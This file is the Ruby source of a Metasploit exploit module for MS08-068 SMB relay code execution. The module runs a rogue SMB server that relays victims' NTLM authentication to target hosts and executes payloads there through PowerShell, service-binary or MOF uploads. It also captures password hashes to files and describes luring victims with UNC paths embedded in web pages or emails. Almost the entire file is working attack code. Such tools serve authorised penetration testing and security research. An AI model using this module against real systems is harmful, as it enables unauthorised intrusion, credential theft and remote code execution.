##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:

  Local Security Settings >
   Local Policies >
    Security Options >
     Network Access: Sharing and security model for local accounts
=end

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include ::Msf::Exploit::Remote::SocketServer

  include ::Msf::Exploit::Remote::SMB::Server::HashCapture
  include ::Msf::Exploit::Remote::SMB::Client::Psexec
  include ::Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Module::HasActions
  include Msf::Auxiliary::CommandShell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
        'Description' => %q{
          This module will relay SMB authentication requests to another
          host, gaining access to an authenticated SMB session if successful.
          If the connecting user is an administrator and network logins are
          allowed to the target machine, this module will execute an arbitrary
          payload. To exploit this, the target system	must try to	authenticate
          to this module. The easiest way to force a SMB authentication attempt
          is by embedding a UNC path (\SERVER\SHARE) into a web page or
          email message. When the victim views the web page or email, their
          system will automatically connect to the server specified in the UNC
          share (the IP address of the system running this module) and attempt
          to authenticate.  Unfortunately, this
          module is not able to clean up after itself. The service and payload
          file listed in the output will need to be manually removed after access
          has been gained. The service created by this tool uses a randomly chosen
          name and description, so the services list can become cluttered after
          repeated exploitation.

          The SMB authentication relay attack was first reported by Sir Dystic on
          March 31st, 2001 at @lanta.con in Atlanta, Georgia.

          On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
          includes a patch which prevents the relaying of challenge keys back to
          the host which issued them, preventing this exploit from working in
          the default configuration. It is still possible to set the SMBHOST
          parameter to a third-party host that the victim is authorized to access,
          but the "reflection" attack has been effectively broken.

          As of Feb 2022 - this module does not support SMB 1.
        },
        'Author' => [
          'hdm', # Original SMB v1 relay module
          'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
          'agalway-r7', # Add SMB 2/3 support
          'alanfoster', # Add SMB 2/3 support
          'Spencer McIntyre' # Add SMB 2/3 support
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Payload' => {
          'Space' => 2048,
          'DisableNops' => true,
          'StackAdjustment' => -3500
        },
        'References' => [
          ['CVE', '2008-4037'],
          ['OSVDB', '49736'],
          ['MSB', 'MS08-068'],
          ['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
          ['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
          ['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
        ],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
          [ 'Command', { 'Arch' => [ARCH_CMD] } ]
        ],
        'Notes' => {
          'Stability' => [
            CRASH_SAFE,
          ],
          'Reliability' => [
            REPEATABLE_SESSION
          ],
          'SideEffects' => [
            ARTIFACTS_ON_DISK,
            IOC_IN_LOGS,
            ACCOUNT_LOCKOUTS
          ]
        },
        'DisclosureDate' => '2001-03-31',
        'DefaultTarget' => 0,
        'Actions' => available_actions,
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultAction' => 'PSEXEC'
      )
    )

    register_options(
      [
        OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE']),
        OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),
        OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
        OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
        OptString.new('CAINPWFILE', [false, 'Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.', nil]),
        OptString.new('JOHNPWFILE', [false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil]),
        OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
        OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]),
        OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
      ]
    )

    register_advanced_options(
      [
        OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
        OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
        OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
      ]
    )

    deregister_options(
      'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
    )
    if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
      add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
    end
  end

  def available_actions
    actions = [
      ['PSEXEC', { 'Description' => 'Run psexec against the relay target' }]
    ]
    if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
      actions << ['CREATE_SMB_SESSION', { 'Description' => 'Get an SMB session' }]
    end

    actions
  end

  def smb_logger
    log_device = datastore['VERBOSE'] ? Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) : Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework)
    Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device)
  end

  class SMBRelayServer
    include ::Rex::Proto

    def initialize(options)
      @options = options
    end

    def alias
      super || 'SMB Relay Server'
    end

    #
    # Returns the hardcore alias for the SMB service
    #
    def self.hardcore_alias(*args)
      sock_options = sock_options_for(*args)
      "#{sock_options['LocalHost']}#{sock_options['LocalPort']}"
    end

    def start
      @listener_sock = Rex::Socket::TcpServer.create(sock_options)
      @listener_server = Msf::Exploit::Remote::SMB::Relay::NTLM::Server.new(**smb_server_options(@listener_sock))
      @listener_thread = Rex::ThreadFactory.spawn('SMBRelayServerListener', false) do
        @listener_server.run
      rescue StandardError => e
        elog(e)
      end
    end

    def stop
      begin
        @listener_server.close if @server && !@server.closed?
        @listener_thread.kill if @listener_thread
      rescue StandardError => e
        print_error('Failed closing SMB server')
        elog('Failed closing SMB server', error: e)
      end

      begin
        @listener_sock.close if @listener_sock && !@listener_sock.closed?
      rescue StandardError => e
        print_error('Failed closing SMB server socket')
        elog('Failed closing SMB server socket', error: e)
      end
    end

    #
    # This method waits on the server listener thread
    #
    def wait
      @listener_thread.join if listener_thread
    end

    attr_accessor :listener_sock, :listener_thread

    def self.sock_options_for(options)
      {
        'LocalHost' => '0.0.0.0',
        'LocalPort' => 445
      }.merge(options[:socket])
    end

    private

    def sock_options
      self.class.sock_options_for(@options)
    end

    def smb_server_options(listener_sock)
      { server_sock: listener_sock }.merge(@options[:smb_server])
    end
  end

  def start_service(_opts = {})
    ntlm_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new(
      default_domain: datastore['SMBDomain']
    )

    # Set domain name for all future server responses
    ntlm_provider.dns_domain = datastore['SMBDomain']
    ntlm_provider.dns_hostname = datastore['SMBDomain']
    ntlm_provider.netbios_domain = datastore['SMBDomain']
    ntlm_provider.netbios_hostname = datastore['SMBDomain']

    validate_smb_hash_capture_datastore(datastore, ntlm_provider)

    comm = _determine_server_comm(datastore['SRVHOST'])
    print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
    @service = Rex::ServiceManager.start(
      self.class::SMBRelayServer,
      {
        socket: {
          'Comm' => comm,
          'LocalHost' => datastore['SRVHOST'],
          'LocalPort' => datastore['SRVPORT'],
          'Server' => true,
          'Timeout' => datastore['SRV_TIMEOUT'],
          'Context' => {
            'Msf' => framework,
            'MsfExploit' => self
          }
        },
        smb_server: {
          gss_provider: ntlm_provider,
          logger: smb_logger,
          relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['RELAY_TARGETS'], randomize_targets: datastore['RANDOMIZE_TARGETS']),
          listener: self,
          relay_timeout: datastore['RELAY_TIMEOUT'],
          thread_manager: framework.threads
        }
      }
    )
  end

  def validate_service_stub_encoder!
    service_encoder = datastore['SERVICE_STUB_ENCODER']
    return if service_encoder.nil? || service_encoder.empty?

    encoder = framework.encoders[service_encoder]
    if encoder.nil?
      raise Msf::OptionValidateError.new(
        {
          'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
        }
      )
    end
  end

  def exploit
    if datastore['RHOSTS'].present?
      print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
    end

    case action.name
    when 'PSEXEC'
      validate_service_stub_encoder!
    end
    super
  end

  def on_relay_success(relay_connection:)
    case action.name
    when 'PSEXEC'
      run_psexec(relay_connection)
    when 'CREATE_SMB_SESSION'
      begin
        session_setup(relay_connection)
      rescue StandardError => e
        elog('Failed to setup the session', error: e)
      end
    end
  end

  def run_psexec(relay_connection)
    # The psexec mixins assume a single smb client instance is available, which makes it impossible
    # to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
    # and set the datastore options and simple smb instance
    new_mod_instance = replicant
    new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
    new_mod_instance.datastore['RPORT'] = relay_connection.target.port
    # The new module no longer needs a reference to the original smb server, deref it explicitly:
    new_mod_instance.service.deref
    new_mod_instance.service = nil
    # Wrap the ruby_smb connection in a rex-compatible adapter
    new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)

    thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
    framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
      mod_instance.exploit_smb_target
    rescue StandardError => e
      print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}")
      elog(e)
      # ensure
      #   # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
      #   # The parent module will clean these shared resources
      #   mod_instance.cleanup
    end
  end

  def on_relay_failure(relay_connection:)
    # noop
  end

  # Called after a successful connection to a relayed host is opened
  def exploit_smb_target
    # automatically select an SMB share unless one is explicitly specified
    if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
      smbshare = datastore['SMBSHARE']
    elsif target.name == 'Command'
      smbshare = 'C$'
    else
      smbshare = 'ADMIN$'
    end

    service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''

    vprint_status 'Running psexec'
    case target.name
    when 'Automatic'
      if powershell_installed?(smbshare, datastore['PSH_PATH'])
        print_status('Selecting PowerShell target')
        execute_powershell_payload
      else
        print_status('Selecting native target')
        native_upload(smbshare, service_filename, service_encoder)
      end
    when 'PowerShell'
      execute_powershell_payload
    when 'Native upload'
      native_upload(smbshare, service_filename, service_encoder)
    when 'MOF upload'
      mof_upload(smbshare)
    when 'Command'
      execute_command_payload(smbshare)
    end

    handler
    disconnect
  end

  # @param [RubySMB::Client] client
  def session_setup(client)
    return unless client

    platform = 'windows'

    # Create a new session
    rstream = client.dispatcher.tcp_socket
    sess = Msf::Sessions::SMB.new(
      rstream,
      {
        client: client
      }
    )
    ds = {
      'RHOST' => client.target.ip,
      'RPORT' => client.target.port
    }

    s = start_session(self, nil, ds, false, sess.rstream, sess)

    s.platform = platform

    s
  end

end
